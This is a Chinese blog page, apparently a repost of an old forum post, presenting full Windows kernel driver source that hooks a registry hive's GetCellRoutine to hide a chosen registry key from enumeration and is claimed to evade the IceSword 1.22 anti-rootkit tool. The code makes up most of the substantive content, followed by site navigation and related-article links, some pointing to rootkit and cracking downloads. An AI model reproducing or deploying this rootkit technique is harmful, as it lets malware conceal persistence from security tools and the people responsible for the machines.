过icesword 1.22 ,注册表隐藏,启动项隐藏

谈谈注册表项信息隐藏 理论:注册表是Windows系统存储关于计算机配置信息的数据库,包括了系统运行时需要调用的运行方式的设置,是系统的核心。操作系统是用特殊的文件(Hive文件)来存储注册表的内容,并提供给用户相关的编程接口(APIs)来进行注册表的操作,例如Advapi32.dll中的Registry Functions(如:RegEnumKey)。在Windows操作系统中,函数的调用有着极其规范的层次结构,如下 阅读详情
发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。
以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。
原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。
#include <ntddk.h>
#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
#define CM_KEY_INDEX_ROOT      0x6972         // ir
#define CM_KEY_INDEX_LEAF      0x696c         // il
#define CM_KEY_FAST_LEAF       0x666c         // fl
#define CM_KEY_HASH_LEAF       0x686c         // hl
// 一些CM的数据结构,只列出用到的开头部分
#pragma pack(1)
typedef struct _CM_KEY_NODE {
       USHORT Signature;
       USHORT Flags;
       LARGE_INTEGER LastWriteTime;
       ULONG Spare;               // used to be TitleIndex
       HANDLE Parent;
       ULONG SubKeyCounts[2];     // Stable and Volatile
       HANDLE SubKeyLists[2];     // Stable and Volatile
       // ...
} CM_KEY_NODE, *PCM_KEY_NODE;
typedef struct _CM_KEY_INDEX {
       USHORT Signature;
       USHORT Count;
       HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;
typedef struct _CM_KEY_BODY {
       ULONG Type;                // "ky02"
       PVOID KeyControlBlock;
       PVOID NotifyBlock;
       PEPROCESS Process;         // the owner process
       LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;
typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
typedef struct _HHIVE {
       ULONG Signature;
       PGET_CELL_ROUTINE GetCellRoutine;
       // ...
} HHIVE, *PHHIVE;
#pragma pack()
// 需隐藏的主键名
WCHAR g_HideKeyName[] = L" //Registry//Machine//SYSTEM//CurrentControlSet//Services//Beep";
PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;
// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
       NTSTATUS status;
       UNICODE_STRING uKeyName;
       OBJECT_ATTRIBUTES oa;
       HANDLE hKey;
       RtlInitUnicodeString(&uKeyName, pwcsKeyName);
       InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
       status = ZwOpenKey(&hKey, KEY_READ, &oa);
       if (!NT_SUCCESS(status))
       {
           DbgPrint("ZwOpenKey Failed: %lx/n", status);
           return NULL;
       }
       return hKey;
}
// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
       NTSTATUS status;
       PCM_KEY_BODY KeyBody;
       PVOID KCB;
       if (hKey == NULL) return NULL;
       // 由Key句柄获取对象体
       status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
       if (!NT_SUCCESS(status))
       {
           DbgPrint("ObReferenceObjectByHandle Failed: %lx/n", status);
           return NULL;
       }
       // 对象体中含有KeyControlBlock
       KCB = KeyBody->KeyControlBlock;
       DbgPrint("KeyControlBlock = %lx/n", KCB);
       ObDereferenceObject(KeyBody);
       return KCB;
}
// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
       // 获取父键的节点
       PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
       // 获取子键的索引
       PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
       DbgPrint("ParentNode = %lx/nIndex = %lx/n", ParentNode, Index);
       // 如果为根(二级)索引,获取最后一个索引
       if (Index->Signature == CM_KEY_INDEX_ROOT)
       {
           Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
           DbgPrint("Index = %lx/n", Index);
       }
       if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
       {
           // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
           return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
       }
       else
       {
           // 一般叶索引,返回最后的节点
           return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
       }
}
// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
       // 调用原函数
       PVOID pRet = g_pGetCellRoutine(Hive, Cell);
       if (pRet)
       {
           // 返回的是需要隐藏的节点
           if (pRet == g_HideNode)
           {
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx/n", Hive, Cell, pRet);
               // 查询、保存并返回其父键的最后一个子键的节点
               pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
               DbgPrint("g_LastNode = %lx/n", g_LastNode);
               // 隐藏的正是最后一个节点,返回空值
               if (pRet == g_HideNode) pRet = NULL;
           }
           // 返回的是先前保存的最后一个节点
           else if (pRet == g_LastNode)
           {
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx/n", Hive, Cell, pRet);
               // 清空保存值,并返回空值
               pRet = g_LastNode = NULL;
           }
       }
       return pRet;
}
NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
       DbgPrint("DriverUnload()/n");
       // 解除挂钩
       if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
       return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
       ULONG BuildNumber;
       ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive
       ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
       HANDLE hKey;
       PVOID KCB, Hive;
       DbgPrint("DriverEntry()/n");
       pDrvObj->DriverUnload = DriverUnload;
       // 查询BuildNumber
       if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
       DbgPrint("BuildNumber = %d/n", BuildNumber);
       // KeyControlBlock结构各版本略有不同
       // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
       switch (BuildNumber)
       {
           case 2195:     // Win2000
               KeyHiveOffset = 0xc;
               KeyCellOffset = 0x10;
               break;
           case 2600:     // WinXP
           case 3790:     // Win2003
               KeyHiveOffset = 0x10;
               KeyCellOffset = 0x14;
               break;
           default:
               return STATUS_NOT_SUPPORTED;
       }
       // 打开需隐藏的键
       hKey = OpenKeyByName(g_HideKeyName);
       // 获取该键的KeyControlBlock
       KCB = GetKeyControlBlock(hKey);
       if (KCB)
       {
           // 由KCB得到Hive
           PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
           // GetCellRoutine在KCB中,保存原地址
           g_ppGetCellRoutine = &Hive->GetCellRoutine;
           g_pGetCellRoutine = Hive->GetCellRoutine;
           DbgPrint("GetCellRoutine = %lx/n", g_pGetCellRoutine);
           // 获取需隐藏的节点并保存
           g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
           // 挂钩GetCell例程
           Hive->GetCellRoutine = MyGetCellRoutine;
       }
       ZwClose(hKey);
       return STATUS_SUCCESS;
}

Windows注册表隐藏磁盘分区技巧 Windows操作系统中的注册表是一个多层次的数据库,它存储了系统配置信息、用户设置、安装软件的状态以及硬件设备信息等。它几乎涉及到Windows系统的所有配置和设置,因此是系统维护和优化中不可或缺的一部分。 阅读详情

相关推荐

ring0驱动内核级的ROOTKIT实现隐藏文件,隐藏注册表项,隐藏端口.zip

ring0驱动内核级的ROOTKIT实现隐藏文件,隐藏注册表项,隐藏端口.zip

注册表隐藏

1. 使用系统工具:在Windows操作系统中,可以使用组策略编辑器(gpedit.msc)来隐藏注册表。打开组策略编辑器后,导航到“用户配置”>“管理模板”>“系统”,然后找到“阻止访问注册表编辑器”选项,将其启用。2. 修改注册表权限:通过修改注册表的权限设置,可以限制用户对注册表的访问权限。- 单击“编辑”按钮,然后在“基本权限”中撤消“查看”权限。- 在“高级安全设置”窗口中,选择当前用户的权限项。- 在“安全”选项卡中,选择“高级”。- 右键单击该项,选择“权限”。- 导航到需要隐藏的注册表项。

黑客CN博客 1620

【现代电路理论】【2】考尔法设计无源单口网络

夏 弥:其实你在冰面上看到鱼浮上来 明年冬天如果你还在那里,那鱼还是会上来换气 那时候你就可以带一把冰镐 把冰面砸开把鱼捞上来熬汤

痛苦的时候装出幸福相,这不是那么难做到的事 2886

一段隐藏注册表项的代码

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。#include #define GET_PTR(ptr, offset) (

947

海康威视GigE工业相机的python调用demo

默认路径安装完成后,在路径C:\Program Files (x86)\MVS\Development\Samples\Python\BasicDemo下的BasicDemo.py中,海康威视官方提供了基本的调用方法,本文也是基于这个修改的。BasicDemo.py提供了通过枚举选择相机的方法,在官方的另一个DEMO:ConnectSpecCamera.py中提供了另一种不通过枚举,直接访问特定IP相机的方法,也可以参考。另外,如果每台相机都定义了唯一的用户定义名,也可以通过用户定义名来区分相机。

xulibo5828的博客 2109

从零开始:如何用Python建立你的第一个人工智能模型

在这篇文章中,我们将介绍如何从零开始使用Python建立你的第一个人工智能模型。无论你是刚接触编程的新手,还是有经验的开发者想进一步探索人工智能领域,这篇文章都将为你提供清晰、详细的指南。我们将一步步探索数据预处理、模型建立、训练和测试的过程,以及如何解读模型的结果。

Allen1862105的博客 4万+

注册表-各种功能-隐藏IE、隐藏硬盘、禁用硬件

1、在〔我的电脑〕上隐藏软驱 在〔开始〕→〔运行〕→输入〔Regedit〕→〔HKEY_CURRENT_USER〕→〔Software〕 →〔Microsoft〕 →〔Windows〕→〔CurrentVersion〕→〔Policies〕→〔Explorer〕 →增加一个 DWORD 值〔NoDrives〕的数值资料请使用十进制及如下设置 隐藏 A 盘为〔1〕,隐藏 B 盘为 A 盘的...

weixin_33816300的博客 461

Unity轻量级框架QFramework:四层架构与命令事件驱动的实战指南

在Unity游戏开发中,软件架构是确保项目可维护性和可扩展性的核心。通过分层架构(如MVC、DDD)和事件驱动设计,开发者能够有效管理代码复杂度,实现模块间的解耦与高效通信。QFramework作为一个轻量级框架,精准地运用了这些原理,通过严格定义的四层架构(表现层、系统层、数据层、工具层)和命令/事件通信规则,为中小型项目提供了“约束下的自由”。其核心价值在于以极简的代码(不足1000行)强制实施清晰的职责分离,如使用命令模式集中管理状态变更,并通过事件驱动实现响应式更新。这种设计特别适用于解决项目规模扩

weixin_42521032的博客 262

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。 原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。 #include <ntddk.h> #define GET_PTR(ptr, offset) ( *(PVOID*)...

weixin_30767921的博客 68

STM32 cubeMX配置串口重定向

这篇文章主要讲解什么是串口重定向,为什么要串口串口重定向。使用printf函数和上位机通信是非常的方便的。希望大家都能够掌握。

m0_49476241的博客 4573

Apollo Planning2.0决策规划算法代码详细解析 (1):环境搭建

1、官方提供连接:git clone https://github.com/ApolloAuto/application-pnc.git。此外,也更新了dreamview对pnc的支持,使得调试更加方便。apollo开源团队近期更新了planning版本,对代码进行了一定程度上的重构。(2)进入docker,并编译整个工程:./apollo.sh build_dbg。下载项目环境后使用aem进行环境配置;2、有一定基础建议直接拉取最新代码,自己手动进行编译。(1)环境安装: ./dev_start.sh。

自动驾驶Player的博客 1841

利用CmRegisterCallback函数在Windows下保护注册表项

<br />一般在Windows下保护注册表有以下几种方法:<br /> <br />1. Ring3 hook <br /> 实现简单。可利用微软的Detour库,第三方的mhook库,或者自己实现。<br /> 但是如果是做产品的话不得不考虑兼容性的问题,纵使周知,大量的病毒、木马和恶意程序使用同样的方法来隐藏或者保护自身<br /> 的注册表项和键值,基本上所有基于行为监控的安全类软件都会向用户报告此类程序为恶意程序。<br />2. Ring0 hook<br /> 原理和Ring3 hook基本上

diveintokernel的专栏 4914

51单片机+DS18B20+数码管显示+超温提示+Proteus仿真

51单片机+DS18B20+数码管显示+超温提示+Proteus仿真 Proteus仿真 实例代码 #include <reg52.h> #define uchar unsigned char #define uint unsigned int sbit we1 = P3^0; sbit we2 = P3^1; sbit we3 = P3^2; sbit we4 = P3^3; sbit DS = P1^0; sbit D1 = P3^6; sbit D2 = P3^7; uch

perseverance51博客 1540

windows驱动 - 注册表回调

0x00 函数 CmRegisterCallbackEx() //回调函数绑定 CmUnRegisterCallback() //注销注册表回调 NTSTATUS ExCallbackFunction(PVOID CallbackContext,PVOID Argument1,PVOID Argument2) //注册表回调,具体内容看文档 0x01 代码 #include <ntifs.h> #include <ntddk.h> #include <wdm...

qq726232111的博客 1322

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

Windows注册表HIVE文件格式解析

Windows注册表HIVE文件格式解析 2010-02-16 15:39 我们可以用系统提供的注册表编辑器(regedit)来访问和修改注册表中的数据。直观的讲,注册表呈现出来的是图1所示的形式,它由根键(rootkey)、子键(subkey)、键值(value)和数据(data)组成。数据之间有类型的分别,常见的有:REG_SZ、字符串型,REG_BINARY、二进

lionzl的专栏 1495

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

储巢HIVE及实现注册表隐藏

储巢HIVE及实现注册表隐藏

求索 1687

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Windows注册表隐藏 实验

源代码下载地址:http://download.csdn.net/download/chenhuan20123/10208956 百度云:链接:https://pan.baidu.com/s/1ViZ4wvSPDr8HrFYgWrYTjg 密码:ksop 城通网盘:https://tc5.us/file/19714638-417238555 实验目的和要求: 使用驱动程序隐藏注...

chenhuan20123的博客 2110

通过修改explorer.exe内存隐藏文件及注册表项

记录今天分析的一个隐藏自身及注册表项的病毒。 1.概述: (1)此病毒文件为路径为:C:\Windows7\4D525EC1C14.exe,且注册了自启动项: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run  [UU5DUD3ZUFYW3W5YYPBNVTTD]   C:\Windows7\4D525EC1C14

晴天的专栏 2484

渗透技巧——”隐藏”注册表的创建

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_33704234的博客 710

隐藏注册表键代码

#include #define CM_KEY_INDEX_ROOT      0x6972         // ir#define CM_KEY_INDEX_LEAF      0x696c         // il#define CM_KEY_FAST_LEAF       0x666c         // fl#define CM_KEY_HASH_LEAF       0x686c 

1417

通过注册表隐藏任务栏

运行里输入regedit命令进入注册表编辑器,选择路径:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer 新建键值:NoTrayItemsDisplay键值,0为显示,1为隐藏

huangbaokang的博客 6517

转:简单的隐藏注册表键值的驱动源码

//简单的隐藏注册表键值的驱动,通过HOOK

创造神话,实现梦想! 2269
上一篇: csdn的blog太过分了!!!!
下一篇: 说说腾讯分站被黑的过程
linkboy2004
博客等级 码龄22年 276粉丝 292原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值